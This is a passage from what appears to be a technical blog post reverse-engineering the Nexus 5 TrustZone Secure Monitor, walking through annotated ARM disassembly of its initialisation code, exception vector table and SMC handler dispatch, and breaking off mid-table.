<span class="nl">LOAD:</span><span class="nf">FE80DB88</span> <span class="no">MRC</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R1</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; read Secure SCTLR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB8C</span> <span class="no">MOV</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#SCR_NS OR SCR_FW OR SCR_AW ; #0x31</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB90</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; switch to Non-Secure (NS) state</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB94</span> <span class="no">ISB</span> <span class="no">SY</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB98</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R1</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; write Secure SCTLR value to NS SCTLR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB9C</span> <span class="no">MOV</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#0</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBA0</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; clear CSSELR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBA4</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c2</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; clear TTBR0</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBA8</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c2</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">1</span> <span class="c1">; clear TTBR1</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBAC</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c2</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">2</span> <span class="c1">; clear TTBCR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBB0</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c3</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; clear DACR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBB4</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c5</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; clear DFSR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBB8</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c5</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">1</span> <span class="c1">; clear IFSR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBBC</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c5</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; clear ADFSR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBC0</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c5</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span> <span class="mi">1</span> <span class="c1">; clear AIFSR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBC4</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c6</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; clear DFAR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBC8</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c6</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">2</span> <span class="c1">; clear IFAR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBCC</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c7</span><span class="p">,</span><span class="no">c4</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; clear PAR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBD0</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c10</span><span class="p">,</span><span class="no">c2</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; clear PRRR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBD4</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c10</span><span class="p">,</span><span class="no">c2</span><span class="p">,</span> <span class="mi">1</span> <span class="c1">; clear NMRR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBD8</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c10</span><span class="p">,</span><span class="no">c4</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; clear "MMUDMTR" ?</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBDC</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c10</span><span class="p">,</span><span class="no">c4</span><span class="p">,</span> <span class="mi">1</span> <span class="c1">; clear "MMUDCPR" ? </span>
<span class="nl">LOAD:</span><span class="nf">FE80DBE0</span> <span class="no">LDR</span> <span class="no">R1</span><span class="p">,</span> <span class="err">=</span><span class="no">dword_FE82B8CC</span> <span class="c1">; load Non-Secure VBAR ptr to R1</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBE4</span> <span class="no">LDR</span> <span class="no">R0</span><span class="p">,</span> <span class="p">[</span><span class="no">R1</span><span class="p">]</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBE8</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c12</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; write Non-Secure VBAR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBEC</span> <span class="no">MOV</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#0</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBF0</span> <span class="no">STR</span> <span class="no">R0</span><span class="p">,</span> <span class="p">[</span><span class="no">R1</span><span class="p">]</span> <span class="c1">; clear Non-Secure VBAR ptr</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBF4</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c13</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; clear FCSEIDR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBF8</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c13</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">1</span> <span class="c1">; clear CONTEXTIDR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DBFC</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c13</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">2</span> <span class="c1">; clear TPIDRURW</span>
<span class="nl">LOAD:</span><span class="nf">FE80DC00</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c13</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">3</span> <span class="c1">; clear TPIDRURO</span>
<span class="nl">LOAD:</span><span class="nf">FE80DC04</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c13</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">4</span> <span class="c1">; clear TPIDRPRW</span>
<span class="nl">LOAD:</span><span class="nf">FE80DC08</span> <span class="no">MOV</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#SCR_FW OR SCR_AW ; #0x30</span>
<span class="nl">LOAD:</span><span class="nf">FE80DC0C</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; switch back to Secure state</span>
<span class="nl">LOAD:</span><span class="nf">FE80DC10</span> <span class="no">ISB</span> <span class="no">SY</span>
<span class="nl">LOAD:</span><span class="nf">FE80DC14</span> <span class="no">BX</span> <span class="no">LR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DC14</span> <span class="c1">; End of function sub_FE80DB88</span>
</pre></div>
<p>First, the security state is switched to Non-Secure. Then, the
coprocessor registers banked in both security states (<a href=
"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0406c/index.html">ARM
Ref.</a> Banked system control registers) are initialized to zero.
Finally, the security state is switched back to Secure.</p>
<h5>IV.1.D Setup SP register</h5>
<p>On ARMv7-A, Multiprocessor Affinity Register (MPIDR) holds the
processor identification information. In this register,
bits<0:7> are the affinity level 0 (Aff0). This number
represents the current CPU id. Here, this id is used to compute the
stack address of current CPU, which is then stored into SP
register. The stack size for each CPU is 0x200 bytes.<br></p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80DB5C</span> <span class="no">LDR</span> <span class="no">SP</span><span class="p">,</span> <span class="err">=</span><span class="mi">0xFE82B700</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB60</span> <span class="no">MRC</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">5</span> <span class="c1">; write MPIDR value to R0</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB64</span> <span class="no">AND</span> <span class="no">R0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#0xFF ; keep Affinity level 0 : current virtual CPU id</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB68</span> <span class="no">MOV</span> <span class="no">R1</span><span class="p">,</span> <span class="c1">#0x200</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB6C</span> <span class="no">MUL</span> <span class="no">R1</span><span class="p">,</span> <span class="no">R1</span><span class="p">,</span> <span class="no">R0</span> <span class="c1">; compute stack offset for current vCPU</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB70</span> <span class="no">SUB</span> <span class="no">SP</span><span class="p">,</span> <span class="no">SP</span><span class="p">,</span> <span class="no">R1</span> <span class="c1">; setup Monitor stack register SP</span>
</pre></div>
<h5>IV.1.E Route FIQ exceptions to Monitor mode</h5>
<p>CP15 c1 register is present on an ARMv7-A implementation that
includes Security Extensions. This instruction sets bit<2>
(0x4) in Secure Configuration Register (SCR), which means FIQ
exceptions are now taken to Monitor mode.<br></p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80DB74</span> <span class="no">MOV</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#0b100 ; SCR.FIQ</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB78</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; set FIQ flag in SCR register</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB7C</span> <span class="no">ISB</span> <span class="no">SY</span> <span class="c1">; flush the pipeline in the processor</span>
</pre></div>
<p>We can also notice that bit<0> (SCR.NS : Non-Secure) is not
set, meaning current execution state is Secure.</p>
<h5>IV.1.F Switch back to Supervisor mode</h5>
<p>This instruction switches the processor to Supervisor mode, and
sets FIQ & IRQ mask bits.<br></p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80DB80</span> <span class="no">MSR</span> <span class="no">CPSR_c</span><span class="p">,</span> <span class="c1">#CPSR_MODE_SVC OR CPSR_MASK_FIQ OR CPSR_MASK_IRQ ; switch to Supervisor mode</span>
</pre></div>
<p>Monitor mode setup is now complete. Monitor code can then be
entered through its exception vector table.</p>
<h3>IV.2. Monitor Exception Vector Table</h3>
<p>The Monitor exception vector table defines exception vectors to
handle exceptions taken to Monitor Mode.<br>
Its structure is described in <a href=
"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0406c/index.html">
ARM Ref.</a> (B1-1167) :<br>
<table align="center" cellpadding="0" cellspacing="0" class=
"tr-caption-container" style=
"margin-left: auto; margin-right: auto; text-align: center;">
<tbody>
<tr>
<td style="text-align: center;">
<img alt="" src="proxy.php?url=https://fredericb.info/blog/nexus5-monitor/ref_vec_table.png">
</td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">The vector table
entries</td>
</tr>
</tbody>
</table>
Thanks to the Monitor initialization code, we know the address of
Nexus 5's Monitor exception vector table:<br></p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80CEE0</span> <span class="no">monitor_vector_table</span>
<span class="nl">LOAD:</span><span class="nf">FE80CEE0</span> <span class="no">B</span> <span class="no">dead_loop</span> <span class="c1">; not used</span>
<span class="nl">LOAD:</span><span class="nf">FE80CEE4</span> <span class="c1">; ---------------------------------------------------------------------------</span>
<span class="nl">LOAD:</span><span class="nf">FE80CEE4</span> <span class="no">B</span> <span class="no">dead_loop</span> <span class="c1">; not used</span>
<span class="nl">LOAD:</span><span class="nf">FE80CEE8</span> <span class="c1">; ---------------------------------------------------------------------------</span>
<span class="nl">LOAD:</span><span class="nf">FE80CEE8</span> <span class="no">B</span> <span class="no">smc_handler</span> <span class="c1">; Secure Monitor Call</span>
<span class="nl">LOAD:</span><span class="nf">FE80CEEC</span> <span class="c1">; ---------------------------------------------------------------------------</span>
<span class="nl">LOAD:</span><span class="nf">FE80CEEC</span> <span class="no">B</span> <span class="no">dead_loop</span> <span class="c1">; Prefetch Abort</span>
<span class="nl">LOAD:</span><span class="nf">FE80CEF0</span> <span class="c1">; ---------------------------------------------------------------------------</span>
<span class="nl">LOAD:</span><span class="nf">FE80CEF0</span> <span class="no">B</span> <span class="no">dead_loop</span> <span class="c1">; Data Abort</span>
<span class="nl">LOAD:</span><span class="nf">FE80CEF4</span> <span class="c1">; ---------------------------------------------------------------------------</span>
<span class="nl">LOAD:</span><span class="nf">FE80CEF4</span> <span class="no">B</span> <span class="no">dead_loop</span> <span class="c1">; not used</span>
<span class="nl">LOAD:</span><span class="nf">FE80CEF8</span> <span class="c1">; ---------------------------------------------------------------------------</span>
<span class="nl">LOAD:</span><span class="nf">FE80CEF8</span> <span class="no">B</span> <span class="no">sub_FE80CF24</span> <span class="c1">; IRQ interrupt</span>
<span class="nl">LOAD:</span><span class="nf">FE80CEFC</span> <span class="c1">; ---------------------------------------------------------------------------</span>
<span class="nl">LOAD:</span><span class="nf">FE80CEFC</span> <span class="no">B</span> <span class="no">sub_FE80CFB4</span> <span class="c1">; FIQ interrupt</span>
<span class="nl">LOAD:</span><span class="nf">FE80CEFC</span> <span class="c1">; End of function monitor_vector_table</span>
</pre></div>
<p>We can see that 3 exception handlers are configured: SMC, FIQ, IRQ.
Others are dead loops.</p>
<h3>IV.3. Secure Monitor Call handler function</h3>
<p>HLOS (non-Secure state) can call the TrustZone API (Secure state)
using the SMC instruction to trigger a Secure Monitor Call
exception. This exception is taken to the Monitor mode, which
switches the processor to Secure Supervisor mode to proceed the
call. When called TrustZone function returns, a second SMC
exception is triggered, so the processor enters Monitor mode again.
Finally, the Monitor mode returns results to the calling function
(Non-Secure state).
The Monitor mode acts as a bridge between Non-Secure state and
Secure state. It's designed to handle calls initiated from the
Non-Secure state only.</p>
<p>The exception vector dedicated to SMC exceptions is a pointer to a
function at offset 0x08 in Monitor Exception Vector Table.<br>
In this function, which will be named SMC handler, the very first
instruction checks if an exception occurred in Secure or Non-Secure
state (When the processor is in Monitor mode, the processor is in
Secure state regardless of the value of the SCR.NS bit).</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80D028</span> <span class="no">smc_handler</span>
<span class="no">LOAD</span><span class="p">:</span><span class="no">FE80D028</span>
<span class="nl">LOAD:</span><span class="nf">FE80D028</span> <span class="no">varg_r0</span> <span class="err">=</span> <span class="p">-</span><span class="mi">0x10</span>
<span class="nl">LOAD:</span><span class="nf">FE80D028</span> <span class="no">varg_r1</span> <span class="err">=</span> <span class="p">-</span><span class="mi">0xC</span>
<span class="nl">LOAD:</span><span class="nf">FE80D028</span> <span class="no">varg_r2</span> <span class="err">=</span> <span class="p">-</span><span class="mi">8</span>
<span class="nl">LOAD:</span><span class="nf">FE80D028</span> <span class="no">varg_r3</span> <span class="err">=</span> <span class="p">-</span><span class="mi">4</span>
<span class="nl">LOAD:</span><span class="nf">FE80D028</span>
<span class="nl">LOAD:</span><span class="nf">FE80D028</span> <span class="no">STMFD</span> <span class="no">SP</span><span class="p">!,</span> <span class="err">{</span><span class="no">R0-R3</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D02C</span> <span class="no">MRC</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; read SCR register</span>
<span class="nl">LOAD:</span><span class="nf">FE80D030</span> <span class="no">TST</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#1 ; test SCR.NS bit</span>
<span class="nl">LOAD:</span><span class="nf">FE80D034</span> <span class="no">BEQ</span> <span class="no">loc_FE80D210</span> <span class="c1">; jump if SCR.NS==0</span>
</pre></div>
<p>When an exception is taken to the Monitor mode, CPSR.{A,I, F} bits
are set to 1, meaning Abort, IRQ and FIQ exceptions can no longer
be taken.</p>
<h3>IV.3.A. Call to Secure World</h3>
<p>If SCR.NS bit is set, it means the Non-Secure world wants to call
the Secure world. We will now analyze the operations performed by
the SMC handler until the exception return to the Secure world.<br>
<h5>IV.3.A.a Setup current security state</h5>
This first step configures the Secure Configuration Register (SCR).
Bits<1:3> (SCR.IRQ || SCR.FIQ || SCR.EA) are set to route
IRQ, FIQ, and External Abort exceptions to Monitor mode. But the
Non-Secure bit<0> is not set. So, this core will still be in
the Secure state if it exits Monitor mode.</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80D038</span> <span class="no">MOV</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#SCR_IRQ OR SCR_FIQ OR SCR_EA ; 0b1110</span>
<span class="nl">LOAD:</span><span class="nf">FE80D03C</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; write SCR with SCR.NS==0</span>
<span class="nl">LOAD:</span><span class="nf">FE80D040</span> <span class="no">ISB</span> <span class="no">SY</span> <span class="c1">; Instruction Synchronization Barrier</span>
<span class="nl">LOAD:</span><span class="nf">FE80D040</span> <span class="c1">; flushes the pipeline in the processor</span>
</pre></div>
<h5>IV.3.A.b Monitor calls</h5>
<p>On a HLOS like Android, SMC exceptions are triggered by the
<a href="proxy.php?url=https://android.googlesource.com/kernel/msm/+/android-msm-hammerhead-3.4-kitkat-mr2/arch/arm/mach-msm/scm.c">
Secure Channel Manager (SCM), implemented in Linux kernel</a>.<br>
A quick look at its source code tells us {R0-R3} registers hold
arguments of SMC calls. We also learn that R0 is a bitfield that
can be defined by the following macro:</p>
<div class="highlight"><pre><span></span><span class="cp">#define SCM_ATOMIC(svc, cmd, n) (((((svc) << 10)|((cmd) & 0x3ff)) << 12) | \</span>
<span class="cp"> SCM_CLASS_REGISTER | \</span>
<span class="cp"> SCM_MASK_IRQS | \</span>
<span class="cp"> (n & 0xf))</span>
</pre></div>
<p>With svc the service identifier, cmd the command identifier, and n
the argument count of the SMC call.<br>
<br>
In SMC handler, R0 value is first shifted right by 12. Based on the
SCM_ATOMIC macro definition, resulting R0 value represents a
service identifier svc and a command identifier cmd defined as
((svc) << 10)|((cmd) & 0x3ff).<br>
Then R0 value is tested against several immediate values. For each
case, a specific function is called if values match.</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80D048</span> <span class="no">MOV</span> <span class="no">R2</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">LSR</span><span class="c1">#12 ; extract service & command identifiers</span>
<span class="nl">LOAD:</span><span class="nf">FE80D04C</span> <span class="no">MOV</span> <span class="no">R1</span><span class="p">,</span> <span class="c1">#0x402 ; SCM_SVC_BOOT::SCM_CMD_TERMINATE_PC</span>
<span class="nl">LOAD:</span><span class="nf">FE80D050</span> <span class="no">CMP</span> <span class="no">R1</span><span class="p">,</span> <span class="no">R2</span>
<span class="nl">LOAD:</span><span class="nf">FE80D054</span> <span class="no">LDMEQFD</span> <span class="no">SP</span><span class="p">!,</span> <span class="err">{</span><span class="no">R1-R3</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D058</span> <span class="no">BEQ</span> <span class="no">sub_FE80D360</span>
<span class="nl">LOAD:</span><span class="nf">FE80D05C</span> <span class="no">MOV</span> <span class="no">R1</span><span class="p">,</span> <span class="c1">#0xC05 ; SCM_SVC_UTIL::CACHE_BUFFER_DUMP_COMMAND_ID</span>
<span class="nl">LOAD:</span><span class="nf">FE80D060</span> <span class="no">CMP</span> <span class="no">R1</span><span class="p">,</span> <span class="no">R2</span>
<span class="nl">LOAD:</span><span class="nf">FE80D064</span> <span class="no">LDMEQFD</span> <span class="no">SP</span><span class="p">!,</span> <span class="err">{</span><span class="no">R1-R3</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D068</span> <span class="no">BEQ</span> <span class="no">sub_FE80D68C</span>
<span class="nl">LOAD:</span><span class="nf">FE80D06C</span> <span class="no">MOV</span> <span class="no">R1</span><span class="p">,</span> <span class="c1">#0x404 ; SCM_SVC_BOOT::4</span>
<span class="nl">LOAD:</span><span class="nf">FE80D070</span> <span class="no">CMP</span> <span class="no">R1</span><span class="p">,</span> <span class="no">R2</span>
<span class="nl">LOAD:</span><span class="nf">FE80D074</span> <span class="no">LDMEQFD</span> <span class="no">SP</span><span class="p">!,</span> <span class="err">{</span><span class="no">R1-R3</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D078</span> <span class="no">BEQ</span> <span class="no">sub_FE80D72C</span>
<span class="nl">LOAD:</span><span class="nf">FE80D07C</span> <span class="no">MOV</span> <span class="no">R1</span><span class="p">,</span> <span class="c1">#0x1401 ; SCM_SVC_IO::SCM_IO_READ</span>
<span class="nl">LOAD:</span><span class="nf">FE80D080</span> <span class="no">CMP</span> <span class="no">R1</span><span class="p">,</span> <span class="no">R2</span>
<span class="nl">LOAD:</span><span class="nf">FE80D084</span> <span class="no">LDMEQFD</span> <span class="no">SP</span><span class="p">!,</span> <span class="err">{</span><span class="no">R1-R3</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D088</span> <span class="no">BEQ</span> <span class="no">sub_FE80D5AC</span>
<span class="nl">LOAD:</span><span class="nf">FE80D08C</span> <span class="no">MOV</span> <span class="no">R1</span><span class="p">,</span> <span class="c1">#0x1402 ; SCM_SVC_IO::SCM_IO_WRITE</span>
<span class="nl">LOAD:</span><span class="nf">FE80D090</span> <span class="no">CMP</span> <span class="no">R1</span><span class="p">,</span> <span class="no">R2</span>
<span class="nl">LOAD:</span><span class="nf">FE80D094</span> <span class="no">LDMEQFD</span> <span class="no">SP</span><span class="p">!,</span> <span class="err">{</span><span class="no">R1-R3</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D098</span> <span class="no">BEQ</span> <span class="no">sub_FE80D5CC</span>
<span class="nl">LOAD:</span><span class="nf">FE80D09C</span> <span class="no">MOV</span> <span class="no">R1</span><span class="p">,</span> <span class="c1">#0x3404 ; SCM_SVC_DCVS::DCVS_CMD_EVENT</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0A0</span> <span class="no">CMP</span> <span class="no">R1</span><span class="p">,</span> <span class="no">R2</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0A4</span> <span class="no">LDMEQFD</span> <span class="no">SP</span><span class="p">!,</span> <span class="err">{</span><span class="no">R1-R3</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0A8</span> <span class="no">BEQ</span> <span class="no">sub_FE80D64C</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0AC</span> <span class="no">MOV</span> <span class="no">R1</span><span class="p">,</span> <span class="c1">#0x1403 ; SCM_SVC_IO::TZ_RESET_ID</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0B0</span> <span class="no">CMP</span> <span class="no">R1</span><span class="p">,</span> <span class="no">R2</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0B4</span> <span class="no">LDMEQFD</span> <span class="no">SP</span><span class="p">!,</span> <span class="err">{</span><span class="no">R1-R3</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0B8</span> <span class="no">BEQ</span> <span class="no">sub_FE80D5EC</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0BC</span> <span class="no">MOV</span> <span class="no">R1</span><span class="p">,</span> <span class="c1">#0x1404 ; SCM_SVC_IO::TZ_UPDATE_ID</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0C0</span> <span class="no">CMP</span> <span class="no">R1</span><span class="p">,</span> <span class="no">R2</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0C4</span> <span class="no">LDMEQFD</span> <span class="no">SP</span><span class="p">!,</span> <span class="err">{</span><span class="no">R1-R3</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0C8</span> <span class="no">BEQ</span> <span class="no">sub_FE80D618</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0CC</span> <span class="no">MOV</span> <span class="no">R1</span><span class="p">,</span> <span class="c1">#0x2401 ; SCM_SVC_PWR::SCM_IO_DISABLE_PMIC_ARBITER</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0D0</span> <span class="no">CMP</span> <span class="no">R1</span><span class="p">,</span> <span class="no">R2</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0D4</span> <span class="no">LDMEQFD</span> <span class="no">SP</span><span class="p">!,</span> <span class="err">{</span><span class="no">R1-R3</span><span class="err">}</span>
<span class="nl">LOAD:</span><span class="nf">FE80D0D8</span> <span class="no">BEQ</span> <span class="no">sub_FE80D74C</span>
</pre></div>
<p>As Linux kernel itself initiates a lot of SMC calls, we explore
<a href=
"https://android.googlesource.com/kernel/msm/+/android-msm-hammerhead-3.4-kitkat-mr2/">
Linux sources</a> to enumerate service and command identifiers
passed to SMC calls. Thereby, we will get more information on
corresponding functions without reversing them.<br>
<table>
<tbody>
<tr>
<th>Immediate value</th>
<th>Service ID (imm>>10)</th>
<th>Command ID (imm&0x3ff)</th>
<th>Function description</th>
</tr>
<tr>
<td>0x402</td>
<td>SCM_SVC_BOOT</td>
<td>SCM_CMD_TERMINATE_PC</td>
<td><a href=
"https://android.googlesource.com/kernel/msm/+/b0650348df9152b11187a65d777d191bcae0817e%5E%21/">
Put current core in low power state</a></td>
</tr>
<tr>
<td>0xC05</td>
<td>SCM_SVC_UTIL</td>
<td>CACHE_BUFFER_DUMP_COMMAND_ID</td>
<td><a href=
